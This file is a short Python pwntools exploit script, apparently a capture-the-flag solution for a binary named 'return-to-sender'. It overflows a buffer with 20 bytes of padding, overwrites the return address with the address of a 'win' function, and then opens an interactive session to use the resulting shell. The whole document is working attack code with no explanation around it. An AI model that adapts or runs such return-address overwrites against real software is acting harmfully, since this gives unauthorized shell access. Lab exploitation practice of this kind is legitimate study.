#!/usr/bin/env python

from pwn import *

#Connection
#connection = connect("ip", port)
connection = process("./return-to-sender")
elf = ELF("./return-to-sender")

win_addr = p32(elf.symbols['win']) # win function address

padding = b'A'*20

payload = padding
payload += win_addr

#recieve starting text then send payload
connection.recv()
connection.sendline(payload)

#make connection interactive to use shell win makes
connection.interactive()
connection.close()
